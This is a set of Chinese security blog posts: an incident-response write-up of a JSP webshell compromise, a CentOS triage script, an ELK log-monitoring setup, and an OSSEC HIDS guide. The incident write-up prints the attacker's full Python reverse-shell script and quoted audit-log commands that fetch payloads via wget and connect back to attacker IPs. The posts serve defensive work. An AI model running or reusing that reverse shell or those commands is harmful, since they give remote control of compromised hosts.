0x01 背景


本周是在目前公司的最后一周,周五就离职了,在这里待了2年半时间,说短也不短,职业生涯可能也没多少个2年半。出门和同事去撸串的路上收到的告警,急忙赶回来处理,很简单的一次应急,没什么技术含量,因为时间点特殊才想着记录一下,毕竟是最后一次应急响应。

 

0x02 排查过程


看到告警信息,发现Java进程执行了Wget操作,下载了一个Python文件,访问Python文件,内容如下:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name

def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()

if __name__ == '__main__':
main()

反弹脚本,确认机器被黑了。
先看下反弹进程:

admin 19363 0.0 0.0 154784 5260 ? S 19:12 0:00 python /tmp/1.py 103.224.248.18 1555

干掉,然后netstat确认下没有对外发起的ESTABLISHED连接。然后看下攻击者执行了什么命令
其中一条机器执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
whoami
ls -al
ping -c 3 www.baidu.com
bash -i > (bash反弹这个攻击者肯定是没有URL编码&导致没有执行成功)
/bin/bash -i >
wget http://162.247.97.195/223.txt -O 123.jsp
ls -al

另一台执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
ls -al
wget 43.229.213.219/backs/back.py
ls -al
wget
wget http://43.229.213.219/backs/back.py
pwd
wget http://43.229.213.219/backs/back.py
ls -al
ls -al /root
id
ls -al /tmp
wget http://43.229.213.219/backs/back.py -O /tmp/1.py
ls -al /tmp/1.py
ls -al /var/tmp
ls -al /tmp
python /tmp/1.py 103.224.248.18 1555
pwd
ps -aux
last
ping -c 4 192.168.192.75
ping -c 4 192.168.190.249

对照着Auditd Log

type=EXECVE msg=audit(1532430757.519:892862): argc=3 a0="ls" a1="-al" a2="/tmp"

其中一条日志的时间点是2018/7/24 19:12:37
去搜索Nginx Accesslog

cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364_big.jsp?pwd=023&i=ls%20-al%20/tmp HTTP/1.1" 200 241 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0" "-"

这里发现了多个攻击者的IP,包括:

66.42.53.201
27.102.112.62
149.28.148.146
...

Webshell文件为35364_big.jsp,很简单的一个cmd马
然后看到访问目录在/upload/avatar/下也能猜测到,开发没有限制头像处上传文件扩展名白名单导致的。

0x03 处理措施


1)删除Webshell和反弹Python脚本
2)检查两台机器还有没有对外的ESTABLISHED的连接,可能机器仍然被控制
3)让运维修改nginx限制upload目录下的jsp和jspx文件访问
4)让开发修改头像上传处添加服务端扩展名白名单限制,并检查其他上传文件的地方。

此脚本用于简化应急响应过程,主要是针对CentOS系统应急响应的一些基础项,如下所示:

1)系统负载、内存占用、CPU使用率高的进程

2)系统初始化调用

3)定时任务

4)监听端口、主动外连(高并发机器慎用)

5)777目录下的可执行文件

6)系统命令替换

7)SSH登录成功和失败IP

8)调用河马检测最近修改的jsp文件

9)调用rkhunter查杀Rootkit

 

脚本如下:

#!/bin/bash
#**************************************1********************
#  Author: Vinc
#  Mail: 776711462@qq.com
#  Time: 2018.6.13
#  Description: For CentOS System
#**********************************************************

#mtime of jsp file 
WEBSHELLCHECK=1
#application dir
WEBDIR=/web/jboss/dir/
#mtime of the system command
BINCHECK=5
#mtime of sysinit
INITCHECK=5

Finittab5(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "/etc/inittab"
    stat /etc/inittab | grep "Modify"
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.sysinit"
    stat /etc/rc.d/rc.sysinit | grep "Modify"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Finittab6(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/init/ directory:"
    find /etc/init/ -name "*.conf" -mtime -${INITCHECK} 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.sysinit"
    stat /etc/rc.d/rc.sysinit | grep "Modify"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d/ -mtime -${INITCHECK} 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Finittab7(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "modified files under the /usr/lib/systemd/system/ directory:"
    find /usr/lib/systemd/system/ -maxdepth 1 -name "*.service" -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "modified files under the /etc/systemd/system/ directory:"	
    find /etc/systemd/system/ -maxdepth 1 -name "*.service" -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d -mtime -${INITCHECK} -type f 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Fcrontab(){
    echo "***************Crontab Check***************"
    echo "------------------------------------------------------"
    for file in $(ls /var/spool/cron/)
        do
            echo "/var/spool/cron/${file}"
            cat /var/spool/cron/${file} | grep -v "^$" | grep -v "^#"
            echo "------------------------------------------------------"
        done
    echo "/etc/crontab"
    cat /etc/crontab | grep -v "^$" | grep -v "^#"
    echo "------------------------------------------------------"
    echo "/etc/anacrontab"
    cat /etc/anacrontab | grep -v "^$" | grep -v "^#"
    echo "------------------------------------------------------"
    for file in $(find /etc -name "cron.*" -type d)
        do
            echo "${file}"
            ls -alt ${file} | grep '^-' 
            echo "------------------------------------------------------"
        done
}

Fnetlink(){
    echo "***************Netstat Check***************"
    echo "------------------------------------------------------"
    echo "Listening port list:"
    netstat -antlp -A inet | grep LISTEN | awk '{printf "%-20s %-20s\n",$4,$7}'
    echo "------------------------------------------------------"
    echo "The connection initiated by the machine:"
    regstr="("
    for port in $(netstat -antlp -A inet | grep LISTEN | awk -F '[ :]+' '{print $5}')
    do
        regstr="${regstr}${port}|"
    done
    regstr="${regstr%?})"
    regExternal="^((192\.168|172\.([1][6-9]|[2][0-9]|3[01]))(\.([2][0-4][0-9]|[2][5][0-5]|[01]?[0-9]?[0-9])){2}|10(\.([2][0-4][0-9]|[2][5][0-5]|[01]?[0-9]?[0-9])){3})$"
    netstat -antlp -A inet | grep -v '127.0.0.1' | grep ESTABLISHED | awk -F '[ :]+' '{if($5 !~ /'$regstr'/)print $0}' | while read link 
    do
        echo $link | awk -F '[ :]+' '{print $6}' | egrep -v $regExternal >> /dev/null
        if [ $? -eq 0 ];then
            echo $link | awk '{print $4" "$5" "$7}'
        fi
    done
    echo "------------------------------------------------------"
}

FSensitiveDir(){
    echo "***************Sensitive Directory Check(/tmp、/var/tmp、/dev/shm)***************"
    ls /proc/ -tr | grep -v "[a-z]" | while read line
    do
        if [ -d "/proc/$line" ];then
            pname=`readlink /proc/$line/exe`
            echo $pname | egrep '^/(tmp|var/tmp|dev/shm)' >> /dev/null
            if [ $? -eq 0 ];then
                printf "%-20s %-20s\n" $line $pname
            fi
        fi
    done
}

FModifyFile(){
    echo "***************System Command Check(/bin、/sbin、/usr/bin、/usr/sbin)***************"
    echo "------------------------------------------------------"
    echo "The binary files that are modified within ${BINCHECK} days:"
    find /bin/ /sbin/ /usr/sbin/ /usr/bin/ -mtime -${BINCHECK} -type f | while read line
    do
        echo $line
    done
    echo "------------------------------------------------------"
    echo "RPM consistency check:"
    rpm -aV
    echo "------------------------------------------------------"
}

FSshLogin(){
    echo "***************Ssh Login Check***************"
    echo "------------------------------------------------------"
    echo "List of successful IPs for SSH login:"
    grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
    echo "------------------------------------------------------"
    echo "List of failed IPs for SSH login:"
    grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
    echo "------------------------------------------------------"
}

FLoad(){
    echo "***************System Information***************"
    echo "------------------------------------------------------"
    echo "load average:"
    uptime | awk '{print $10,$11,$12}'
    echo "------------------------------------------------------"
    echo "Memory usage:"
    free -g | grep Mem | awk '{print "Total Mem:"$2"G"}'
    free -g | grep buffers/cache | awk '{print "Used Mem:"$3"G"}'
    echo "------------------------------------------------------"
    echo "The process of CPU usage over 50%:"
    ps aux | sort -rn -k +3 | awk '{if(($3>50))print $0}'
    echo "------------------------------------------------------"
}

FWebshellCheck(){
    echo "***************WebShell Check(hm)***************"
    echo "Jsp files that are modified within ${WEBSHELLCHECK} days:"
    modifydir=/tmp/$(date +%s)/
    mkdir $modifydir
    ls ${WEBDIR} | while read project
    do
        if [ -f ${WEBDIR}${project}/conf/server.xml ];then
            cat "${WEBDIR}${project}/conf/server.xml" | egrep -o 'docBase=".*"' | awk -F '"' '{print $2}' | while read line
            do
                find $line -name '*.jsp' -mtime -${WEBSHELLCHECK}  | while read fname
                do
                    modifyfile=$(echo $fname | sed 's/\//@/g')
                    cp ${fname} ${modifydir}${modifyfile}
                done
            done
        fi
    done
    filecount=$(ls -al ${modifydir} | grep '^-' | wc -l)
    echo "Dir: ${modifydir}"
    echo "JSP files to be detected: ${filecount}"
    if ((${filecount}>0));then
        if [ ! -f /tmp/hm-linux.tgz ];then
            echo "Download the webshell check tool"
            if [ ${bit} -eq 64 ];then
                wget -O /tmp/hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.4.2 
            elif [ ${bit} -eq 32 ];then
                wget -O /tmp/hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-386.tgz?version=1.4.2 
            fi 
        fi
        [ ! -d /tmp/hmwebshell ] && mkdir /tmp/hmwebshell 
        tar zxvf /tmp/hm-linux.tgz -C /tmp/hmwebshell >> /dev/null
        [ -f /tmp/hmwebshell/hm ] && /tmp/hmwebshell/hm scan ${modifydir} >> /dev/null
        if [ -f result.csv ];then
            count=$(cat result.csv | wc -l)
            if [ ${count} -gt 1 ];then
                echo "The suspicious files are as follows: "
                cat result.csv | egrep '^[0-9]' | awk -F ',' '{print $3}' | awk -F '/' '{print $4}' | sed 's/@/\//g'
            else
                echo "No suspicious files were found"
            fi
        fi
    fi
    rm -rf ${modifydir}
}

FRootkitCheck(){
    echo "***************Rootkit Check***************"
    if [ ! -f /usr/local/bin/rkhunter ];then
        echo "Install rkhunter"
        [ ! -f /tmp/rkhunter-1.4.6.tar.gz ] && wget -O /tmp/rkhunter-1.4.6.tar.gz http://vinc.top/tools/rkhunter-1.4.6.tar.gz
        tar zxvf /tmp/rkhunter-1.4.6.tar.gz && cd /tmp/rkhunter-1.4.6/ && ./installer.sh --install 
    fi
    /usr/local/bin/rkhunter --check -sk
}

ver=$(cat /etc/redhat-release | grep -E -o [0-9.]+ | cut -d . -f 1)
bit=$(getconf LONG_BIT)

FLoad
FSshLogin
FSensitiveDir
FModifyFile
Fcrontab
Fnetlink
case $ver in     
    5)   
    Finittab5
    ;;      
    6)
    Finittab6
    ;;
    7)
    Finittab7
    ;;
esac     
FWebshellCheck
FRootkitCheck

 

 

0x01 概述


前段时间监控到公司站点的手机号是否存在的接口被单IP高频率访问,站点解析到腾讯云上,LB后是20+腾讯云主机做Nginx代理,使用Filebeat+ELK收集监控此类异常行为,当前最新的是6.2,有些改动,我还是用5.5版本。

ELK可以当作一个MVC模型,logstash是controller层,Elasticsearch是一个model层,kibana是view层。

使用三台机器,配置和角色如下:

10.59.0.248(32核+64G内存) Logstash Elasticsearch(Master) Kibana

10.59.0.116(24核+32G内存) Logstash Elasticsearch(Data)

10.211.0.107(64核+64G内存) Logstash Elasticsearch(Data)

 

0x02 Filebeat


Filebeat的性能消耗要比logstash小的多,配置如下:

[root@VM_1_216_centos filebeat]# cat filebeat.yml | grep -v "^\s*#" | grep -v "^$"

filebeat.prospectors:

- type: log

  enabled: true

  paths:

    - /马赛克/*.log

  tail_files: true

output.logstash:

  hosts: ["10.59.0.116:5044","10.59.0.248:5044","10.211.0.71:5044"]

  loadbalance: true  #如无该配置默认仅向一台机器发送日志,该机器如果Down掉之后,才会切换其他的机器

data/registry记录了文件读取的offset,如果文件data/registry不存在,则会重新发送文件。

配置tail_files: true 仅发送新的数据

 

0x03 Logstash


在logstash-5.4.0/bin/logstash.lib.sh文件第一行添加

export JAVA_HOME=/usr/local/jdk1.8

所遇到的问题:

1)

ELK部署运行后,非常常见的一个现象是429错误,如下所示:

[2018-04-04T09:08:16,479][INFO ][logstash.outputs.elasticsearch] retrying failed action with response code: 429 ({"type"=>"es_rejected_execution_exception", "reason"=>"rejected execution of org.elasticsearch.transport.TransportService$7@4e1276c3 on EsThreadPoolExecutor[bulk, queue capacity = 200, org.elasticsearch.common.util.concurrent.EsThreadPoolExecutor@4892020c[Running, pool size = 24, active threads = 24, queued tasks = 200, completed tasks = 4786420]]"})

表示Elasticsearch处理不过来了。

在ES5.0以后,Elasticsearch将bulk、flush、get、index、search等线程池完全分离,自身的写入不会影响其他功能的性能。

来查询一下ES当前的线程情况:

Get http://elasticsearch.cdeledu.com/_nodes/stats/thread_pool

其中

"bulk": {

    "threads": 24,

    "queue": 74,

    "active": 24,

    "rejected": 666890,

    "largest": 24,

    "completed": 4817519

},

最需要关注的是rejected。当某个线程池active==threads时,表示所有线程都在忙,那么后续新的请求就会进入queue中,即queue>0,一旦queue大小超出限制,那么elasticsearch进程将拒绝请求(bulk HTTP状态码429),相应的拒绝次数就会累加到rejected中。

解决方案为优化logstash.yml的参数,修改batch.size参数为3000,增加每次发送的事件数,从而降低调用ES的频率。另外修改worker/output.workers为CPU数。

logstash.yml配置如下:

[root@localhost config]# cat logstash.yml | grep -v "^\s*#" | grep -v "^$"

pipeline.workers: 32

pipeline.output.workers: 32

pipeline.batch.size: 3000

pipeline.batch.delay: 5

2)

增加Logstash JVM内存,Logstash报错内存溢出

java.lang.OutOfMemoryError: Java heap space

需要修改logstash启动文件bin/logstash

export LS_JAVA_OPTS=" -Xmx8g -Xms8g"

Logstash配置文件如下:

input {

    beats {

        port => 5044

      }

}



filter{

    grok{

        match => {

            "message" => "%{IP:client-ip}(,\s)?(?<proxy-ip>[\d\.,\s]*) (%{USER:ident}|-) (%{USER:auth}|-) \[%{HTTPDATE:timestamp}\] \"(?:%{WORD:verb} %{URIPATH:uri}%{DATA:parameter}(?: HTTP/%{NUMBER:http_version})?|-)\" %{NUMBER:status-code} %{NUMBER:bytes} \"(%{GREEDYDATA:referer}|-)\" \"(%{GREEDYDATA:user-agent}|-)\" (%{BASE16FLOAT:response_time}|-) (%{BASE16FLOAT:request_time}|-) \"(%{GREEDYDATA:cookie}|-)\" \[%{GREEDYDATA:servername}\]"

        }

    }

    if ([uri] =~ "\.(js|css)$"){

        drop {}

    }

    date {

        match => ["timestamp", "dd/MMM/yyyy:HH:mm:ss Z"]

        target => "@timestamp"

    }

    ruby {

        code => "event.set('timestamp', event.get('@timestamp').time.localtime + 8*60*60); event.set('@timestamp', event.get('timestamp'))"

    }

    if ([verb] == "POST")

    {

        mutate {

            add_field => {"dynamic" => 1}

        }

    }

    else if ([verb] == "GET" and [parameter])

    {

        mutate {

            add_field => {"dynamic" => 1}

        }

    }

    else {

        mutate {

            add_field => {"dynamic" => 0}

        }

    }

    mutate {

        remove_field => [ "message" ]

    }

}



output {

    if "_grokparsefailure" not in [tags] {

        elasticsearch {

            hosts => "10.59.0.248:9200"

            index => "nginx_%{+YYYY.MM.dd}"

        }

    }

}

这里grok正则匹配非常耗费性能,可以使用dissect替换。

 

0x04 ELasticsearch


ElasticSearch是一个基于Lucene的搜索服务器,Lucene是一个开源的全文检索引擎工具包(类似于Java api),而Elasticsearch底层是基于这些包,对其进行了扩展,提供了比Lucene更为丰富的查询语言,可以非常方便的通过Elasticsearch的HTTP接口与底层Lucene交互。Elasticsearch是Lucene面向企业搜索应用的扩展,极大的缩短研发周期。

在if [ -x “$JAVA_HOME/bin/java” ]; then上添加两行

export JAVA_HOME=/usr/local/jdk1.8

export PATH=$JAVA_HOME/bin:$PATH

启动时遇到其他问题汇总:

1) 启动 elasticsearch 如出现异常  can not run elasticsearch as root

解决方法:创建ES 账户,修改文件夹 文件 所属用户 组

2) 启动异常:ERROR: bootstrap checks failed

system call filters failed to install; check the logs and fix your configuration or disable system call filters at your own risk

解决方法:在elasticsearch.yml中配置bootstrap.system_call_filter为false,注意要在Memory下面:

bootstrap.system_call_filter: false

3) 启动后,如果只有本地可以访问,尝试修改配置文件 elasticsearch.yml中network.host(注意配置文件格式不是以 # 开头的要空一格, : 后要空一格)

为 network.host: 0.0.0.0

默认端口是 9200

注意:关闭防火墙 或者开放9200端口

4) ERROR: bootstrap checks failed

max file descriptors [4096] for elasticsearch process likely too low, increase to at least [65536]

max number of threads [1024] for user [lishang] likely too low, increase to at least [2048]

解决方法:切换到root用户,编辑limits.conf 添加类似如下内容

vim /etc/security/limits.conf

添加如下内容:

* soft nofile 65536

* hard nofile 131072

* soft nproc 2048

* hard nproc 4096

5)

max number of threads [1024] for user [lish] likely too low, increase to at least [2048]

解决:切换到root用户,进入limits.d目录下修改配置文件。

vi /etc/security/limits.d/90-nproc.conf

修改如下内容:

* soft nproc 1024

#修改为

* soft nproc 2048

6)

max virtual memory areas vm.max_map_count [65530] likely too low, increase to at least [262144]

解决:切换到root用户修改配置sysctl.conf,添加下面配置:

vm.max_map_count=655360

并执行命令:

sysctl -p

然后,重新启动elasticsearch,即可启动成功。

Elasticsearch Master配置文件如下:

cluster.name: logstash_sec

node.name: "node-1"

node.master: true

node.data: false

discovery.zen.ping.unicast.hosts: ["10.59.0.248", "10.211.0.71", "10.59.0.116"]

network.host: 0.0.0.0

path.data: /soft/elasticsearch55/data

path.logs: /soft/elasticsearch55/logs

http.enabled: true

http.cors.enabled: true

http.cors.allow-origin: "*"

bootstrap.mlockall: true

thread_pool.bulk.queue_size: 3000

 

0x05 ELasticsearch plugins


1) Head插件

yum install git -y

git clone git://github.com/mobz/elasticsearch-head.git

下载Node.js:

wget https://nodejs.org/dist/v4.6.1/node-v4.6.1-linux-x64.tar.gz

tar zxvf node-v4.6.1-linux-x64.tar.gz

配置node.js环境变量:

vim /etc/profile:

export PATH=/soft/elasticsearch-5.4.0/node-v4.6.1-linux-x64/bin:$PATH

执行source /etc/profile使环境变量生效

查看当前head插件目录下有无node_modules/grunt目录:

没有则执行命令创建:

npm install grunt --save

安装head插件:

npm install

安装grunt:

npm install -g grunt-cli

编辑Gruntfile.js

文件93行添加

hostname:'0.0.0.0'

检查head根目录下是否存在base文件夹,没有:将 _site下的base文件夹及其内容复制到head根目录下

修改elasticsearch.yml,添加:

http.cors.enabled: true

http.cors.allow-origin: "*"

启动grunt server:在head下运行

grunt server -d

访问head插件:http://localhost:9100

 

2) bigdesk插件

bigdesk是elasticsearch的一个集群监控工具,可以通过它来查看es集群的各种状态,如:cpu、内存使用情况,索引数据、搜索情况,http连接数等。

安装步骤:

git clone https://github.com/hlstudio/bigdesk

cd bigdesk/_site/

python -m SimpleHTTPServer

 

0x06 ELasticsearch 优化


1) shard与Replicas

shard不能修改,一个node不要超过2个shard。

replica只会参与读操作,它的主要作用就是提高集群错误恢复的能力,并且可以在集群建立之后变更。

2) 索引存储

最好是使用SSD,没有的话,最好将es数据节点配置多个数据存储路径,尽量避免使用远程文件系统存储,如NFS 或 SMB。

3) “refresh_interval”: “30s”

优化点: 减少刷新频率,降低潜在的写磁盘性能损耗

另外如果需要一次加载较大的数据量进 index 里面时,可以先禁用 refresh ,把 index.refresh_interval 设置成为 -1 ,把 index.number_of_replicas 设置成 0。暂时把多个shard副本关闭,这样做可以大大加快索引速度。当初始化索引完成,可以将 index.refresh_interval 和 index.number_of_replicas 设置回原来的值。

4) translog优化

Lucene只有在commit的时候才会把之前的变更持久化存储到磁盘(每次操作都写到磁盘的话,代价太大),在commit之前如果出现故障,上一次commit之后的变更都会丢失

为了防止数据丢失,Lucene会把变更操作都记录在translog里,在出现故障的时候,从上次commit起记录在translog里的变更都可以恢复,尽量保证数据不丢失

Lucene的flush操作就是执行一次commit,同时开始记录一个新的translog,所以translog是用来记录从上次commit到下一次commit之间的操作的

flush操作的频率是通过translog的大小控制的,当translog大小达到一定值的时候就执行一次flush,对应参数为index.translog.flush_threshold_size,默认值是512mb,这里调整为1gb,减少flush的次数

translog本身是文件,也需要存储到磁盘,它的存储方式通过index.translog.durability和index.translog.sync_interval设定。默认情况下,index.translog.durability=request,意为每次请求都会把translog写到磁盘。这种设定可以降低数据丢失的风险,但是磁盘IO开销会较大

这里采用异步方式持久化translog,每隔30秒写一次磁盘

{

  "index": {

      "translog": {

          "flush_threshold_size": "1gb",

          "sync_interval": "30s",

          "durability": "async"

      }

  }

}

5) 429错误

增加bulk的queue大小

thread_pool.bulk.queue_size: 3000

改配置会增加JVM内存,修改config/jvm.options

-Xms8g

-Xmx8g

建议配置为物理内存的一半,因为文件系统缓存是为了缓冲磁盘的IO操作。至少确保有一半机器的内存保留给操作系统,并且JVM内存不要超过32G。

6)

index.merge.scheduler.max_thread_count: 1

index由多个shard组成,每个shard又分成很多segment,segment是index数据存储的最小单位。segment比较多的时候会影响搜索性能,ES通过merge对小的segment进行合并,优化查询性能。但是合并过程中会消耗较多磁盘IO,会影响查询性能。Elasticsearch 5 采用了多线程去执行merge,可以通过修改index.merge.scheduler.max_thread_count 来动态调整这个线程数,默认的话是通过下面公式去计算:

Math.max(1, Math.min(4, Runtime.getRuntime().availableProcessors() / 2))

要注意的是如果你是用HDD而非SSD的磁盘的话,最好是用单线程为妙。

 

另外也可以手工进行merge操作,这里有3个参数可以用

max_num_segments 期望merge到多少个segments,1的意思是强行merge到1个segment

only_expunge_deletes 只做清理有deleted的segments,即瘦身

flush 清理完执行一下flush,默认是true

你可以用下面的URL来执行强行的merge

[root@localhost elasticsearch55]# curl -XPOST "http://localhost:9200/nginx_2018.04.12/_forcemerge?max_num_segments=1"

{"_shards":{"total":5,"successful":5,"failed":0}}

7) 避免内存交换

设置为true来锁住内存不进行swapping,因为当jvm开始swapping时es的效率会降低。

bootstrap.mlockall: true

[待补充]

 

0x07 告警配置


告警方面可以选择Elastalert

这里我以单IP高频请求api监控为例,查询语句如下:

{

  "size": 0,

  "query": {

    "bool": {

      "must": [

        {

          "range": {

            "timestamp": {

              "from": "%d",

              "to": "%d"

            }

          }

        },

        {

          "term": {

            "status-code": {

              "value": "200"

            }

          }

        },

        {

          "term": {

            "dynamic": {

              "value": 1

            }

          }

        }                                  

      ]

    }

  },

  "aggs": {

    "group_by_clientip": {

      "terms": {

        "field": "client-ip",

        "order": {

          "_count": "desc"

        },

        "min_doc_count": %d

      },

      "aggs": {

        "group_by_servername": {

          "terms": {

            "field": "servername",

            "size": 2,

            "order": {

              "_count": "desc"

            }

          }

        }

      }

    }

  }

}

 

参考文章:

https://cloud.tencent.com/developer/article/1006124

https://www.jianshu.com/p/9b872a41d5bb

0x01 概述


关于HIDS,并不是一个新鲜的话题,规模较大的企业都会选择自研,而如果你刚刚接手一个公司的网络安全,人手相对不足,那么OSSEC能帮助你安全建设初期快速搭建一套安全系统,后期如果遇到瓶颈也可以考虑自研去解决一些问题。

 

0x02 主要功能介绍


OSSEC的主要功能包括日志分析、文件完整性检测、Rootkit检测以及联动配置,另外你也可以将自己的其他监控项集成到OSSEC中。

1)日志监控

日志是平常安全运维中很重要的一项,OSSEC日志检测为实时检测,OSSEC的客户端本身没有解码文件和规则,所监控的日志会通过1514端口发送到服务端。

配置项可以在配置在每个agent的ossec.conf中或者在agent.conf中,需要写在 <localfile>中,可配置项如下:

location

指定日志的位置,strftime格式可以用于日志文件名,例如,一个名为file.log-2011-01-22的日志文件可以写为file.log-%Y-%m-%d。通配符可以用于非windows系统。当使用通配符时,日志文件必须在ossec-logcollector启动时存在。它不会自动开始监视新的日志文件。strftime和通配符不能在同一条目上使用。

log_format

例如syslog、command、full_command等等

需要注意的是command和full_command不能配置在agent.conf中,需要配置在ossec.conf中

command

执行的命令。如果log_format指定的是command,那么将逐行读取。如果log_format指定的是full_command,将全部匹配。

alias

该命令的别名。这将替换日志消息中的命令。

例如配置<alias>usb-check</alias>

ossec: output: ‘reg QUERY HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR’:

将被替换为

ossec: output: ‘usb-check’:

frequency

命令运行之间的最小时间间隔。时间间隔可能会比该值大,适用于log_format为command、full_command。

check_diff

事件的输出将存储在一个内部数据库中。每次接收到相同的事件时,输出都会与之前的输出相比较。如果输出发生了变化,将生成一个警告。

 

命令监控的具体事例:

默认的ossec.conf中自带的配置检查硬盘空间:

  <localfile>

    <log_format>command</log_format>

    <command>df -P</command>

  </localfile>

所对应的rule在ossec_rules.xml

  <rule id="531" level="7" ignore="7200">

    <if_sid>530</if_sid>

    <match>ossec: output: 'df -P': /dev/</match>

    <regex>100%</regex>

    <description>Partition usage reached 100% (disk space monitor).</description>

    <group>low_diskspace,</group>

  </rule>

默认的ossec.conf中自带的配置新增端口监听:

  <localfile>

    <log_format>full_command</log_format>

    <command>netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| ::1)' | sort</command>

  </localfile>

所对应的rule在ossec_rules.xml

  <rule id="533" level="7">

    <if_sid>530</if_sid>

    <match>ossec: output: 'netstat -tan</match>

    <check_diff />

    <description>Listened ports status (netstat) changed (new port opened or closed).</description>

  </rule>

执行的结果保存在queue/diff/下,每次执行会进行比对

[root@localhost ossec]# cat queue/diff/192.168.192.196/533/last-entry

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN     

tcp        0      0 :::111                      :::*                        LISTEN     

tcp        0      0 :::22                       :::*                        LISTEN     

tcp        0      0 :::62229                    :::*                        LISTEN

这里测试一下用nc监听2345端口,告警如下:

** Alert 1499397975.7591: mail  - ossec,

2017 Jul 07 11:26:15 (192.168.192.196) any->netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort

Rule: 533 (level 7) -> 'Listened ports status (netstat) changed (new port opened or closed).'

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:2345                0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN     

tcp        0      0 :::111                      :::*                        LISTEN     

tcp        0      0 :::22                       :::*                        LISTEN     

tcp        0      0 :::62229                    :::*                        LISTEN     

Previous output:

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN     

tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN     

tcp        0      0 :::111                      :::*                        LISTEN     

tcp        0      0 :::22                       :::*                        LISTEN     

tcp        0      0 :::62229                    :::*                        LISTEN

之前在《Linux应急响应姿势浅谈》中提到的,Linux下开机启动项是应急响应中很重要的检测项,Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个。这里我在agent的ossec.conf中新加一个监控,检测当rc.local发生改变的时候告警。

  <localfile>

    <log_format>full_command</log_format>

    <command>/bin/cat /etc/rc.local</command>

    <frequency>10</frequency>

  </localfile>

在Server端的/var/ossec/rules/ossec_rules.xml下新增一条规则

  <rule id="536" level="7">

      <if_sid>530</if_sid>

      <match>ossec: output: '/bin/cat</match>

      <check_diff />     

      <description>rclocal changed</description>

  </rule>

然后重启Server和Agent

Agent执行echo “echo test” >> /etc/rc.local

报警如下:

** Alert 1499399596.13605: mail  - ossec,

2017 Jul 07 11:53:16 (192.168.192.196) any->/bin/cat /etc/rc.local

Rule: 536 (level 7) -> 'rclocal changed'

ossec: output: '/bin/cat /etc/rc.local':

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local

echo test

Previous output:

ossec: output: '/bin/cat /etc/rc.local':

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local

